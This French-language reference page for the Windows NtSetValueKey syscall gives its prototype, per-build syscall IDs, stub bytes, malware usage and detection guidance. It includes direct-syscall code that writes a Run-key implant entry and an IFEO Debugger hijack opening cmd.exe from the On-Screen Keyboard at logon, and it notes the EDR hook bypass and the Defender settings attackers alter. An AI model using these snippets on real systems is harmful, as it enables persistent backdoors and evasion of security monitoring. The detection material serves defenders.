NtSetValueKey
Écrit une valeur nommée dans une clé de registre ouverte — pierre angulaire des persistances Run et IFEO.
Prototype
NTSTATUS NtSetValueKey( HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG TitleIndex, ULONG Type, PVOID Data, ULONG DataSize );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| KeyHandle | HANDLE | in | Handle vers une clé ouverte via NtOpenKey/NtCreateKey avec l'accès KEY_SET_VALUE. |
| ValueName | PUNICODE_STRING | in | Nom de la valeur à définir. NULL ou chaîne vide vise la valeur par défaut de la clé. |
| TitleIndex | ULONG | in | Réservé. Doit être zéro. |
| Type | ULONG | in | Type de valeur : REG_SZ, REG_EXPAND_SZ, REG_DWORD, REG_BINARY, REG_MULTI_SZ, etc. |
| Data | PVOID | in | Pointeur vers le tampon de données à écrire. |
| DataSize | ULONG | in | Taille du tampon en octets (inclure le NUL final pour REG_SZ). |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x60 | win10-1507 |
| Win10 1607 | 0x60 | win10-1607 |
| Win10 1703 | 0x60 | win10-1703 |
| Win10 1709 | 0x60 | win10-1709 |
| Win10 1803 | 0x60 | win10-1803 |
| Win10 1809 | 0x60 | win10-1809 |
| Win10 1903 | 0x60 | win10-1903 |
| Win10 1909 | 0x60 | win10-1909 |
| Win10 2004 | 0x60 | win10-2004 |
| Win10 20H2 | 0x60 | win10-20h2 |
| Win10 21H1 | 0x60 | win10-21h1 |
| Win10 21H2 | 0x60 | win10-21h2 |
| Win10 22H2 | 0x60 | win10-22h2 |
| Win11 21H2 | 0x60 | win11-21h2 |
| Win11 22H2 | 0x60 | win11-22h2 |
| Win11 23H2 | 0x60 | win11-23h2 |
| Win11 24H2 | 0x60 | win11-24h2 |
| Server 2016 | 0x60 | winserver-2016 |
| Server 2019 | 0x60 | winserver-2019 |
| Server 2022 | 0x60 | winserver-2022 |
| Server 2025 | 0x60 | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 60 00 00 00 mov eax, 0x60 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
Stable à `0x60` depuis Windows 7 jusqu'à Win11 24H2. À coupler avec NtCreateKey/NtOpenKey pour écrire des valeurs sans passer par advapi32, où vivent la plupart des hooks user-mode des EDR. Le noyau achemine l'appel via CmSetValueKey → CmpSetValueKeyNew/Existing ; les flushs de hive sont différés (CmpLazyFlushHiveList), une valeur fraîchement écrite peut donc ne pas toucher le disque pendant plusieurs secondes — utile pour les acteurs qui courent face à la détection.
Usage courant par les malwares
Le versant exécution de la persistance par registre. Une fois la sous-clé d'autostart ouverte, NtSetValueKey écrit la commande de lancement : - `Run` / `RunOnce` : un REG_SZ pointant vers l'implant. - `Image File Execution Options\<victime.exe>` → `Debugger` REG_SZ → binaire attaquant (T1546.012). - `Winlogon\Userinit` / `Winlogon\Shell` complétés du payload. - `Services\<nom>\ImagePath` pour le détournement de service. - `AppInit_DLLs` pour s'injecter dans tout processus liant user32.dll. Les appelants en syscall direct s'en servent aussi pour altérer les valeurs de sécurité (DisableAntiSpyware, AntiSpywareEnabled, SubmitSamplesConsent) lorsqu'ils sont élevés.
Opportunités de détection
ETW Microsoft-Windows-Kernel-Registry émet `EventSetValueKey` (Opcode 11) avec le chemin de la clé, le nom de la valeur, le type et la longueur — précieux pour l'alerte haute fidélité sur les écritures autostart et IFEO. Sysmon Event ID 13 (RegistryEvent: Set value) et Event ID 14 (Key/Value rename) couvrent les endpoints sans EDR. Alertes prioritaires : toute écriture sous `*\CurrentVersion\Run*`, `*\Image File Execution Options\*\Debugger`, `*\Winlogon\(Userinit|Shell|AppInit_DLLs)`, et toute modification d'exclusions Defender ou de `SubmitSamplesConsent`. Corréler avec la télémétrie d'image-load pour capturer le processus résultant à l'ouverture de session suivante.
Exemples de syscalls directs
cWrite a Run-key persistence entry
// Drop HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater = C:\PD\impl.exe
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"Updater");
WCHAR data[] = L"C:\\ProgramData\\impl.exe";
NTSTATUS s = NtSetValueKey(
hRunKey, // from NtCreateKey/NtOpenKey
&name,
0, // TitleIndex
REG_SZ,
data,
(ULONG)((wcslen(data) + 1) * sizeof(WCHAR)));asmDirect stub (SSN 0x60)
NtSetValueKey PROC
mov r10, rcx
mov eax, 60h
syscall
ret
NtSetValueKey ENDPcIFEO Debugger hijack (T1546.012)
// HKLM\Software\Microsoft\Windows NT\CurrentVersion\
// Image File Execution Options\osk.exe!Debugger = cmd.exe
// Triggers when On-Screen Keyboard is launched (incl. Sticky Keys at logon).
UNICODE_STRING debuggerName;
RtlInitUnicodeString(&debuggerName, L"Debugger");
WCHAR debugger[] = L"C:\\Windows\\System32\\cmd.exe";
NtSetValueKey(hIfeoOskKey, &debuggerName, 0, REG_SZ,
debugger,
(ULONG)((wcslen(debugger) + 1) * sizeof(WCHAR)));Mappings MITRE ATT&CK
Last verified: 2026-05-20